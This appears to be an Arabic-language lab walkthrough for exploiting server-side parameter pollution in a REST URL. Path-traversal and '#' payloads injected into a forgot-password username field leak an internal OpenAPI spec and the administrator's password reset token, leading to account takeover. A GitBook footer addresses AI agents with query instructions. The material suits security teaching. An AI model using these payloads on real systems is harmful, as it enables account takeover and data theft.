> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# تلوث المعاملات من جانب الخادم في عنوان REST

### استغلال تلوث المعلمات من جانب الخادم في عنوان URL لـ REST

**هدف المختبر**/ تسجيل الدخول كمسؤول\*\* وحذف المستخدم**carlos**.

#### 1. الوظيفة «نسيت كلمة المرور»

تصل إلى ميزة "نسيت كلمة المرور" وتُدخل اسم المستخدم **administrator**.

<figure><img src="/files/fa1f8a862328a50bac9866cef286b17197fd0fde" alt=""><figcaption></figcaption></figure>

الطلب المرسل إلى الخادم كما يلي:

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

الإجابة التي تم الحصول عليها:

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="/files/5e4d3e3eae7dcb7d9e43e45ca2d93eb9a935879f" alt=""><figcaption></figcaption></figure>

#### 2. تحليل كود JavaScript من جانب العميل

يُظهر كود JavaScript أن `اسم المستخدم` تُرسل القيمة كما هي في الاستعلام، دون تحقق إضافي من الخادم.

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "اسم المستخدم غير صالح";
                }
                else
                {
                    forgotPasswordError.textContent = `يرجى التحقق من بريدك الإلكتروني: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "اسم المستخدم غير صالح";
            });
    } catch (error) {
        console.error("خطأ غير متوقع:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

يشير هذا إلى أن القيمة يمكن تفسيرها كجزء من مسار واجهة برمجة التطبيقات الخلفية.

#### 3. محاولات تلوث الـ `اسم المستخدم` المعلمة

* تمت إضافة `#` في نهاية المعلمة:

```bash
&username=administrator#
```

الإجابة:

```json
{
  "type": "error",
  "result": "المسار غير صالح. يرجى الرجوع إلى تعريف واجهة برمجة التطبيقات"
}
```

* محاولة عبور المسارات:

```bash
&username=../../../../administrator
```

الإجابة: خطأ Not Found من خادم واجهة برمجة التطبيقات.

{% code overflow="wrap" %}

```json
{
  "error": "استجابة غير متوقعة من خادم واجهة برمجة التطبيقات:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>غير موجود<//title>/n<//head>/n<body>/n    <h1>غير موجود<//h1>/n    <p>لم يتم العثور على عنوان URL الذي طلبته.<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="/files/953edde33b4741630e63d72360ca417456bbe1cb" alt=""><figcaption></figcaption></figure>

#### 4. اكتشاف وثائق OpenAPI

الجمع بين عبور الدلائل و `#` الرمز:

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

يُرجع `openapi.json` بطول استجابة كبير.

<figure><img src="/files/0530b0b2dd078dc24f1b28a8f6a8846c1df45fcc" alt=""><figcaption></figcaption></figure>

* رسالة خطأ:

```json
{
  "error": "استجابة غير متوقعة من خادم واجهة برمجة التطبيقات:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"واجهة برمجة تطبيقات المستخدم/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"users/"/n        ],/n        /"summary/": /"العثور على المستخدم بواسطة اسم المستخدم/",/n        /"description/": /"الإصدار 1 من واجهة برمجة التطبيقات/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"اسم المستخدم/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="/files/a4258e4d03f4799f86df8d80002586bc3b44435c" alt=""><figcaption></figcaption></figure>

يُرجع الخادم خطأً يحتوي على **OpenAPI** الوثائق، كاشفًا عن المسارات الداخلية المتاحة، بما في ذلك:

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. استغلال واجهة برمجة التطبيقات الداخلية

الـ `اسم المستخدم` يتم تعديل المعلمة لاستهداف واجهة برمجة التطبيقات مباشرةً:

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "هذا الإصدار من واجهة برمجة التطبيقات يدعم فقط حقل البريد الإلكتروني لأسباب أمنية"
}
```

<figure><img src="/files/b43f4f5bbb172d8a132cbb1c6a1293921508aa33" alt=""><figcaption></figcaption></figure>

إجابة صالحة مع بريد المسؤول الإلكتروني.

```bash
&username=administrator/field/email%23
```

<figure><img src="/files/126fba88c2d35c038bc633326f2cbc1b904aee8a" alt=""><figcaption></figcaption></figure>

#### 6. استعادة رمز إعادة التعيين

```bash
../../v1/users/administrator
```

<figure><img src="/files/9e9c88538600d8c00da8343411bdb725eeb0aafc" alt=""><figcaption></figcaption></figure>

اختبار حقول أخرى مكشوفة بواسطة واجهة برمجة التطبيقات:

<figure><img src="/files/3694db186bcc1b2a400d881a46fa70ac061391c0" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

الإجابة:

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="/files/72ab44a5f49a07c149b1d88753452feff95243c0" alt=""><figcaption></figcaption></figure>

#### 7. إعادة تعيين كلمة مرور المسؤول

يُستخدم الرمز المسترجع للوصول إلى صفحة إعادة التعيين:

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

يتيح لك هذا تعيين كلمة مرور جديدة لـ **administrator**، ثم اتصل واحذف المستخدم **carlos**.

<figure><img src="/files/0d35e4fd311e0cc8eba946f3764775e0882f9b87" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
